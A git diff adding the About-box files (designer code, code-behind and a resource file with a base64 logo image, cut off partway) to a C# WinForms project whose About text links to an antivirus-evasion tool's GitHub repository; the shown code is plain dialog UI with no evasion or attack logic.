diff --git "a/\346\216\251\346\227\2452.0/AboutBox1.Designer.cs" "b/\346\216\251\346\227\2452.0/AboutBox1.Designer.cs"
new file mode 100644
index 0000000..3d64988
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/AboutBox1.Designer.cs"
@@ -0,0 +1,193 @@
+namespace 掩日2._0
+{
+ partial class AboutBox1
+ {
+ ///
+ /// 必需的设计器变量。
+ ///
+ private System.ComponentModel.IContainer components = null;
+
+ ///
+ /// 清理所有正在使用的资源。
+ ///
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Windows 窗体设计器生成的代码
+
+ ///
+ /// 设计器支持所需的方法 - 不要修改
+ /// 使用代码编辑器修改此方法的内容。
+ ///
+ private void InitializeComponent()
+ {
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AboutBox1));
+ this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel();
+ this.logoPictureBox = new System.Windows.Forms.PictureBox();
+ this.labelProductName = new System.Windows.Forms.Label();
+ this.labelVersion = new System.Windows.Forms.Label();
+ this.labelCopyright = new System.Windows.Forms.Label();
+ this.labelCompanyName = new System.Windows.Forms.Label();
+ this.textBoxDescription = new System.Windows.Forms.TextBox();
+ this.okButton = new System.Windows.Forms.Button();
+ this.backgroundWorker1 = new System.ComponentModel.BackgroundWorker();
+ this.tableLayoutPanel.SuspendLayout();
+ ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).BeginInit();
+ this.SuspendLayout();
+ //
+ // tableLayoutPanel
+ //
+ this.tableLayoutPanel.ColumnCount = 2;
+ this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 33F));
+ this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 67F));
+ this.tableLayoutPanel.Controls.Add(this.logoPictureBox, 0, 0);
+ this.tableLayoutPanel.Controls.Add(this.labelProductName, 1, 0);
+ this.tableLayoutPanel.Controls.Add(this.labelVersion, 1, 1);
+ this.tableLayoutPanel.Controls.Add(this.labelCopyright, 1, 2);
+ this.tableLayoutPanel.Controls.Add(this.labelCompanyName, 1, 3);
+ this.tableLayoutPanel.Controls.Add(this.textBoxDescription, 1, 4);
+ this.tableLayoutPanel.Controls.Add(this.okButton, 1, 5);
+ this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.tableLayoutPanel.Location = new System.Drawing.Point(9, 8);
+ this.tableLayoutPanel.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
+ this.tableLayoutPanel.Name = "tableLayoutPanel";
+ this.tableLayoutPanel.RowCount = 6;
+ this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
+ this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
+ this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
+ this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
+ this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F));
+ this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
+ this.tableLayoutPanel.Size = new System.Drawing.Size(417, 246);
+ this.tableLayoutPanel.TabIndex = 0;
+ //
+ // logoPictureBox
+ //
+ this.logoPictureBox.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.logoPictureBox.Image = ((System.Drawing.Image)(resources.GetObject("logoPictureBox.Image")));
+ this.logoPictureBox.Location = new System.Drawing.Point(3, 2);
+ this.logoPictureBox.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
+ this.logoPictureBox.Name = "logoPictureBox";
+ this.tableLayoutPanel.SetRowSpan(this.logoPictureBox, 6);
+ this.logoPictureBox.Size = new System.Drawing.Size(131, 242);
+ this.logoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
+ this.logoPictureBox.TabIndex = 12;
+ this.logoPictureBox.TabStop = false;
+ //
+ // labelProductName
+ //
+ this.labelProductName.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.labelProductName.Location = new System.Drawing.Point(143, 0);
+ this.labelProductName.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
+ this.labelProductName.MaximumSize = new System.Drawing.Size(0, 16);
+ this.labelProductName.Name = "labelProductName";
+ this.labelProductName.Size = new System.Drawing.Size(271, 16);
+ this.labelProductName.TabIndex = 19;
+ this.labelProductName.Text = "产品名称";
+ this.labelProductName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
+ //
+ // labelVersion
+ //
+ this.labelVersion.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.labelVersion.Location = new System.Drawing.Point(143, 24);
+ this.labelVersion.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
+ this.labelVersion.MaximumSize = new System.Drawing.Size(0, 16);
+ this.labelVersion.Name = "labelVersion";
+ this.labelVersion.Size = new System.Drawing.Size(271, 16);
+ this.labelVersion.TabIndex = 0;
+ this.labelVersion.Text = "版本";
+ this.labelVersion.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
+ //
+ // labelCopyright
+ //
+ this.labelCopyright.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.labelCopyright.Location = new System.Drawing.Point(143, 48);
+ this.labelCopyright.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
+ this.labelCopyright.MaximumSize = new System.Drawing.Size(0, 16);
+ this.labelCopyright.Name = "labelCopyright";
+ this.labelCopyright.Size = new System.Drawing.Size(271, 16);
+ this.labelCopyright.TabIndex = 21;
+ this.labelCopyright.Text = "版权";
+ this.labelCopyright.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
+ //
+ // labelCompanyName
+ //
+ this.labelCompanyName.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.labelCompanyName.Location = new System.Drawing.Point(143, 72);
+ this.labelCompanyName.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
+ this.labelCompanyName.MaximumSize = new System.Drawing.Size(0, 16);
+ this.labelCompanyName.Name = "labelCompanyName";
+ this.labelCompanyName.Size = new System.Drawing.Size(271, 16);
+ this.labelCompanyName.TabIndex = 22;
+ this.labelCompanyName.Text = "公司名称";
+ this.labelCompanyName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
+ //
+ // textBoxDescription
+ //
+ this.textBoxDescription.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.textBoxDescription.Location = new System.Drawing.Point(143, 98);
+ this.textBoxDescription.Margin = new System.Windows.Forms.Padding(6, 2, 3, 2);
+ this.textBoxDescription.Multiline = true;
+ this.textBoxDescription.Name = "textBoxDescription";
+ this.textBoxDescription.ReadOnly = true;
+ this.textBoxDescription.ScrollBars = System.Windows.Forms.ScrollBars.Both;
+ this.textBoxDescription.Size = new System.Drawing.Size(271, 119);
+ this.textBoxDescription.TabIndex = 23;
+ this.textBoxDescription.TabStop = false;
+ this.textBoxDescription.Text = "说明";
+ //
+ // okButton
+ //
+ this.okButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
+ this.okButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
+ this.okButton.Location = new System.Drawing.Point(339, 222);
+ this.okButton.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
+ this.okButton.Name = "okButton";
+ this.okButton.Size = new System.Drawing.Size(75, 22);
+ this.okButton.TabIndex = 24;
+ this.okButton.Text = "确定(&O)";
+ this.okButton.Click += new System.EventHandler(this.okButton_Click);
+ //
+ // AboutBox1
+ //
+ this.AcceptButton = this.okButton;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.ClientSize = new System.Drawing.Size(435, 262);
+ this.Controls.Add(this.tableLayoutPanel);
+ this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
+ this.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
+ this.MaximizeBox = false;
+ this.MinimizeBox = false;
+ this.Name = "AboutBox1";
+ this.Padding = new System.Windows.Forms.Padding(9, 8, 9, 8);
+ this.ShowIcon = false;
+ this.ShowInTaskbar = false;
+ this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
+ this.Text = "AboutBox1";
+ this.tableLayoutPanel.ResumeLayout(false);
+ this.tableLayoutPanel.PerformLayout();
+ ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).EndInit();
+ this.ResumeLayout(false);
+
+ }
+
+ #endregion
+
+ private System.Windows.Forms.TableLayoutPanel tableLayoutPanel;
+ private System.Windows.Forms.PictureBox logoPictureBox;
+ private System.Windows.Forms.Label labelProductName;
+ private System.Windows.Forms.Label labelVersion;
+ private System.Windows.Forms.Label labelCopyright;
+ private System.Windows.Forms.Label labelCompanyName;
+ private System.Windows.Forms.TextBox textBoxDescription;
+ private System.Windows.Forms.Button okButton;
+ private System.ComponentModel.BackgroundWorker backgroundWorker1;
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/AboutBox1.cs" "b/\346\216\251\346\227\2452.0/AboutBox1.cs"
new file mode 100644
index 0000000..57f73a5
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/AboutBox1.cs"
@@ -0,0 +1,110 @@
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Drawing;
+using System.Linq;
+using System.Reflection;
+using System.Windows.Forms;
+
+namespace 掩日2._0
+{
+ partial class AboutBox1 : Form
+ {
+ public AboutBox1()
+ {
+ InitializeComponent();
+ this.Text = String.Format("关于");
+ this.labelProductName.Text = AssemblyTitle;
+ this.labelVersion.Text = String.Format("版本 {0}", AssemblyVersion);
+ this.labelCopyright.Text = @"遵循 MIT协议 © 1y0n.com";
+ this.labelCompanyName.Text = AssemblyCompany;
+ this.textBoxDescription.Text = "Github主页:\r\nhttps://github.com/1y0n/AV_Evasion_Tool\r\n\r\n博客:\r\nhttps://1y0n.com" +
+ "\r\n\r\n邮箱:\r\nBoot.Root.Loot@gmail.com";
+ }
+
+ #region 程序集特性访问器
+
+ public string AssemblyTitle
+ {
+ get
+ {
+ object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyTitleAttribute), false);
+ if (attributes.Length > 0)
+ {
+ AssemblyTitleAttribute titleAttribute = (AssemblyTitleAttribute)attributes[0];
+ if (titleAttribute.Title != "")
+ {
+ return titleAttribute.Title;
+ }
+ }
+ return System.IO.Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().CodeBase);
+ }
+ }
+
+ public string AssemblyVersion
+ {
+ get
+ {
+ return Assembly.GetExecutingAssembly().GetName().Version.ToString();
+ }
+ }
+
+ public string AssemblyDescription
+ {
+ get
+ {
+ object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyDescriptionAttribute), false);
+ if (attributes.Length == 0)
+ {
+ return "";
+ }
+ return ((AssemblyDescriptionAttribute)attributes[0]).Description;
+ }
+ }
+
+ public string AssemblyProduct
+ {
+ get
+ {
+ object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyProductAttribute), false);
+ if (attributes.Length == 0)
+ {
+ return "";
+ }
+ return ((AssemblyProductAttribute)attributes[0]).Product;
+ }
+ }
+
+ public string AssemblyCopyright
+ {
+ get
+ {
+ object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCopyrightAttribute), false);
+ if (attributes.Length == 0)
+ {
+ return "";
+ }
+ return ((AssemblyCopyrightAttribute)attributes[0]).Copyright;
+ }
+ }
+
+ public string AssemblyCompany
+ {
+ get
+ {
+ object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCompanyAttribute), false);
+ if (attributes.Length == 0)
+ {
+ return "";
+ }
+ return ((AssemblyCompanyAttribute)attributes[0]).Company;
+ }
+ }
+ #endregion
+
+ private void okButton_Click(object sender, EventArgs e)
+ {
+ this.Close();
+ }
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/AboutBox1.resx" "b/\346\216\251\346\227\2452.0/AboutBox1.resx"
new file mode 100644
index 0000000..6951d1e
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/AboutBox1.resx"
@@ -0,0 +1,662 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+
+
+ /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwg
+ JC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIy
+ MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAK5AYgDASIAAhEBAxEB/8QA
+ HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh
+ MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVW
+ V1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG
+ x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQF
+ BgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAV
+ YnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE
+ hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq
+ 8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDxOWaXzpP3j/eP8RpnnSf89H/76NEv+uk/3j/OmYrqMLj/ADpf
+ +ej/APfRpfOl/wCej/8AfRpmKMUxC+dL/wA9H/76NL50v/PR/wDvo00ClpAO86X/AJ6P/wB9Gl86X/no
+ /wD30aYKKoQ7zZf+ej/99Gjz5f8Ano//AH0abSUgJhPKR/rH/wC+jS+dL/z0f/vo1ADin9qaEx/nS/8A
+ PR/++jSefL/z0f8A76NMpDTAeZ5f+ej/APfRpPPlP/LR/wDvo1HS4qdxj/Ol/wCer/8AfRo86X/no/8A
+ 30abSUWAd50v/PR/++jSiaXP+tf/AL6NR0tAyTzpf+ej/wDfRpfOl/56P/30aip1NMRIJpf+er/99Gk8
+ 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
